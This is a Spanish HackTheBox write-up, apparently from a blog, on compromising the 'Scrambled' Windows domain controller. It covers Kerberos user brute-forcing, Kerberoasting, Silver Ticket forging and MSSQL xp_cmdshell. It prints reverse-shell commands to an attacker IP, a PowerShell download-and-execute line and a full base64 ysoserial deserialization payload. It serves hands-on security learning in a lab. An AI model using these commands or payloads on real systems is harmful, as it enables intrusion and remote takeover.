Scrambled - HackTheBox
Máquina Windows de nivel medio bastante compleja, tendremos que enumerar utilizando una gran cantidad de herramientas Impacket. Habilitaremos xpcmdshell en la base de datos sql para ejecutar comandos y obtener una shell inversa. Nos migraremos a otro usuario tras encontrar credenciales en la base de datos y escalaremos privilegios a través de una deserialización .NET usando la herramienta ysoserial.
Reconocimiento
Reconocimiento de Puertos
Como de costumbre antes de comenzar a escanear los puertos de la máquina lanzo la utilidad WhichSystem.py para detectar el sistema operativo de la máquina víctima.
Estamos ante una máquina Windows, y ahora que lo sabemos ya procedo a escanear puertos.
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
1433/tcp open ms-sql-s
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4411/tcp open found
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49700/tcp open unknown
49704/tcp open unknown
50852/tcp open unknown
Tenemos un listado de puertos muy amplio, pero aún necesito más información de los mismos, así que lanzo un escaneo más avanzado.
Al ser tantos puertos uso la utilidad extractPorts para copiarlos al portapapeles.
Una vez copiados lanzo el escaneo de nmap.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Scramble Corp Intranet
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-08 00:45:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-10-08T00:28:20
|_Not valid after: 2052-10-08T00:28:20
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2022-10-08T00:48:43+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername:<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49700/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
50852/tcp open msrpc Microsoft Windows RPC
Host script results:
| smb2-time:
| date: 2022-10-08T00:48:06
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| Puerto | Servicio | Versión |
| :----- | :------- | :------ |
| 88 | Kerberos | Microsoft Windows Kerberos |
| 389 | LDAP | Microsoft Windows Active Directory LDAP |
| 1433 | ms-sql-s | Microsoft SQL Server 2019 |
| 4411 | ¿SERVIDOR WEB? | SCRAMBLECORP |
Dominio scrm.local y dc1.scrm.local.
Lo añadimos al etc/hosts.
Enumeración SMB
Para comenzar lanzo crackmapexec para enumerar un poco el protocolo SMB y saber a que me enfrento.
❯ crackmapexec smb 10.10.11.168
SMB 10.10.11.168 445 NONE [*] x64 (name:) (domain:) (signing:True) (SMBv1:False)
No nos detecta ni el nombre, ni el dominio, el SMB esta firmado... pero no detecta nada
Así que voy a probar a listar recursos con smbclient usando una null session ya que no dispongo de credenciales.
❯ smbclient -L 10.10.11.168 -N
session setup failed: NT_STATUS_NOT_SUPPORTED
Pero nos arroja el error NT_STATUS_NOT_SUPPORTED que no es que el acceso sea denegado, sino que no está soportado... algo bastante extraño así que voy a buscar información al respecto.
Este error es debido a que el NTLM está restringido en la máquina víctima.
Por lo tanto algunos ataques que podríamos efectuar en principio ya no podríamos efectuarlos, ya que el NTLM está restringido.
A continuación, ya que no puedo enumerar smb ni tengo ningún hilo del que tirar, voy a tratar de obtener usuarios a través de Kerberos.
Enumeración de usuarios vía Kerberos🕵️♂️
Con la herramienta kerbrute puedo tratar de buscar usuarios válidos usando una lista de palabras.
Usaré las listas de usuarios de este repositorio, ya que está enfocado para la enumeración de usuarios a través de Kerberos.
./kerbrute userenum -d scrm.local --dc 10.10.11.168 /opt/kerberos_enum_userlists/A-ZSurnames.txt
Obtenemos varios usuarios, por lo tanto teniendo usuarios podríamos desplegar el ataque ASREPRoast
para intentar conseguir el hash NTLM de alguno de los usuarios, así que me copio los usuarios en un archivo de texto antes de proceder al ataque.
Y lanzamos el ataque ASREPRoast con la utilidad GETNPUsers.py de la Suite Impacket.
python3 GetNPUsers.py -usersfile /home/elc4br4/HTB/Scramble/users -dc-ip 10.10.11.168 scrm.local/
Pero no ha habido suerte, no nos arroja ningún hash, y esto es debido a lo que vimos anteriormente de que el NTLM estaba restringido.
Pero a través de kerbrute también podemos hacer fuerza bruta a las contraseñas de cada uno de los usuarios que hemos encontrado.
Ataque de Fuerza Bruta🏋️♂️
En este caso antes de probar con un diccionario grande como es el caso de rockyou.txt voy a probar como diccionario de contraseñas el propio archivo de usuarios, por si se estuviera reutilizando un usuario como contraseña.
Voy probando con cada uno de los usuarios y encuentro lo siguiente:
./kerbrute bruteuser --dc 10.10.11.168 -d scrm.local ./users ksimpson
Tenemos una contraseña válida
ksimpson:ksimpson
Llegados a este punto que ya tenemos credenciales válidas podríamos intentar solicitar un ticket (TGT - Ticket Granting Ticket) para poder autenticarnos por Kerberos.
Una vez lanzamos el comando conseguimos el ticket, y con este ticket podríamos conseguir el hash de algún usuario.
Lo hago a través de Kerberos ya que tenemos el NTLM restringido.
Lo lanzamos pero me arroja un error, buscando en internet encuentro lo siguiente.
Debemos editar la línea 255 del script GetUsersSPNs.py
Una vez editado el archivo lo lanzamos de nuevo de la misma forma que anteriormente.
Y obtenemos un hash (krb5tgs) del usuario sqlsvc que parece ser un usuario del servidor SQL.
De esta forma podemos copiarnos el hash e intentar crackearlo con john o hashcat.
Yo lo crackearé con hashcat.
hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt
Recopilo los datos que tenemos de momento.
ksimpson:ksimpson
sqlsvc:Pegasus60
Intento loguearme en el servidor sql a través de la herramienta mssqlclient.py generando un hash NTLM a partir de la contraseña encontrada.
De forma que intento loguearme a través del hash NTLM creado pero no funciona.
Este error es debido a la restricción NTLM.
Silver Ticket
De forma que la única opción de loguearse es a través de Kerberos pero claro, necesitamos crear un ticket (Silver Ticket) con toda la información que tenemos al respecto.
Me vuelve a arrojar un error, me pide el domain sid
del dominio.
Para conseguir el domain sid del dominio puedo usar la herramienta secretsdump de la suite impacket.
Ahora que ya tenemos el SID del dominio podemos intentar obtener el ticket.
impacket-ticketer -domain scrm.local -spn MSSQLSVC/dc1.scrm local -user-id 500 Administrator -nthash¿? -domain-sid ¿?
Ahora que ya hemos podido crear el ticket (Silver Ticket), podríamos intentar autenticarnos a sql a través de mssqlclient por Kerberos.
Y ya estamos autenticados en el servidor SQL.
SQL
Pruebo a inspeccionar que hay dentro de la base de datos.
1. Listamos las bases de datos
select name from master.sys.databses
- Vemos que una de las bases de datos se llama ScrambleHR, es la más llamativa de todas así que accedo a ella.
use ScrambledHR
- Listamos las tablas que hay dentro de la base de datos ScrambleHR
select name from information_schema.tables
Listamos el contenido de la tabla UserImport
SELECT * from UserImport
Y encuentro el usuario miscsvc y la contraseña ScrambledEggs9900
miscsvc:ScrambledEggs9900
Pero además de eso, después de obtener las credenciales lanzo el comando help para ver que utilidades hay en la base de datos y encuentro algo que me alegra el día por completo!!!Pero además de eso, después de obtener las credenciales lanzo el comando help para ver que utilidades hay en la base de datos y encuentro algo que me alegra el día por completo!!!
Tenemos la opción de habilitar xp_cmdshell que nos permitiría ejecutar comandos en el sistema.
Lo activamos con el comando xp-cmdshell.
Y una vez activado probamos a ejecutar algún comando, en este caso lanzo el comando whoami.
Como podemos ver nos ejecuta el comando y nos devuelve la salida al mismo, así que voy a probar a entablar una reverse shell.
Reverse Shell🔄
Lo primero será subir el netcat a la máquina víctima a través de un servidor python3.
A continuación pongo un oyente de netcat en escucha en el puerto 443.
Y lanzo el siguiente comando para ejecutar la reverse shell desde el servidor sql usando el ejecutable nc.exe.
- En mi máquina atacante:
nc -lnvp 443
- En el servidor SQL:
xp_cmdshell C:\Temp\nc.exe -e powershell 10.10.14.2 443
Y obtenemos la conexión inversa.
Intento leer la flag user.txt pero no puedo, porque estoy logueado como el usuario sqlsvc.
Así que me toca migrarme al usuario miscsvc.
Movimiento Lateral - Usuario miscsvc
Usando las credenciales obtenidas intentaré convertirme en el usuario miscsvc.
Podría crear unas credenciales en Powershell y después intentar lanzar una reverse shell:
Creo las credenciales
$password = ConvertTo-SecureString "ScrambledEggs9900" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential("scrm\miscsvc", $password)
- Después me abro un oyente en netcat en mi máquina atacante.
nc -lnvp 8888
- Una vez estamos en escucha pruebo a lanzar una rev shell en powershell que he descargado del repositorio de Nishang, pero antes debemos editarla.
- Una vez editada lanzamos el comando:
Invoke-Command -Computer dc1 -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2:8080/Invoke-PowerShellTcp.ps1') } -Credential $creds
Y ya nos hemos podido convertir en el usuario miscsvc, por lo tanto podemos leer la flag de usuario.
Continuo enumerando un poco la máquina y encuentro un par de recursos compartidos a los que tengo acceso.
Así que uso la utilidad smbclient para descargar estos dos archivos y posteriormente analizar el .exe con dnSpy.
Pero en esta ocasión antes de nada, voy a tener que compartir la VPN de HTB con el sistema Windows para poder continuar, a través de la técnica IP FORWARDING
IP forwarding
* ip máquina atacante Linux --> 192.168.213.128 NAT
* ip máquina Windows --> 192.168.213.131 NAT
Una vez tenemos las ip´s de las máquinas ejecutamos los siguientes comandos:
# Linux Atacante
sudo echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -t nat -A POSTROUTING -s 192.168.213.0/24 -o tun0 -j MASQUERADE
----------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------
# Windows
route add 10.10.10.0 mask 255.255.254.0 192.168.213.218
Una vez realizamos los pasos hacemos ping desde Windows a la máquina víctima 10.10.11.168 y hay respuesta, he convertido la máquina Linux en un router y puedo compartir la vpn con la máquina Windows.
Escalada de privilegios - Usuario Administrador
ScrambleClient.exe💻
Analizando el código encuentro un usuario.
Tengo el usuario scrmdev asique pruebo a autenticarme sin contraseña.
Y consigo autenticarme y acceder.
Una vez dentro tenemos lo siguiente.
Debemos habilitar el debugging y crearemos un nuevo order.
Una vez creado cerramos el programa, lo volvemos a abrir, y leemos el archivo debug que se genera y encontramos lo siguiente:
Hay data encodeada en base64, asique probaré a decodificar la última cadena.
La aplicación envía los datos en formato base64 serializado. Entonces, la aplicación realiza la deserialización de su lado.
- Serialización a Base64.
- Desearialización de Base64
Por lo tanto si conseguimos serializar una reverse shell, ponernos en escucha en el puerto donde se ejecuta la herramienta e introducir la data serializada podríamos obtener acceso al sistema como Administrador, ya que la aplicación se ejecuta bajo los permisos del mismo.
Realizaré un ataque de Desearialización .NET, y buscando encuentro este artículo.
Para poder realizar este payload serializado usaré la herramienta ysoserial.net que podemos descargar desde el repositorio de github.
Una vez descargada, desde powershell o cmd la ejecutaremos para serializar el payload con el siguiente comando.
C:\Users\W10_CFC\Desktop\Release> ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "C:\Temp\netcat.exe -e powershell 10.10.14.4 443"
Y se nos generará serializado.
Una vez serializado nos ponemos en escucha en el puerto 443 (que es el que yo he configurado antes de serializar el comando).
En otra ventana en el cmd nos podemos en escucha en el puerto 4411 que es donde se ejecuta la herramienta e introducimos la data serializada de la siguiente forma.
Debemos añadir delante de la data: UPLOAD_ORDER;dataserializada.
# DATA SERIALIZADA
------------------
C:\Users\W10_CFC\Desktop>nc.exe 10.10.11.168 4411
SCRAMBLECORP_ORDERS_V1.0.3;
UPLOAD_ORDER;AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA+AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBMmdVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUVNNlhGUmxiWEJjYm1NdVpYaGxJQzFsSUhCdmQyVnljMmhsYkd3Z01UQXVNVEF1TVRRdU5DQTBORE1pSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0L
Le damos ENTER y tenemos la conexión inversa
Y ya podemos leer la flag root.txt
MÁQUINA PWNEADA!!!
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student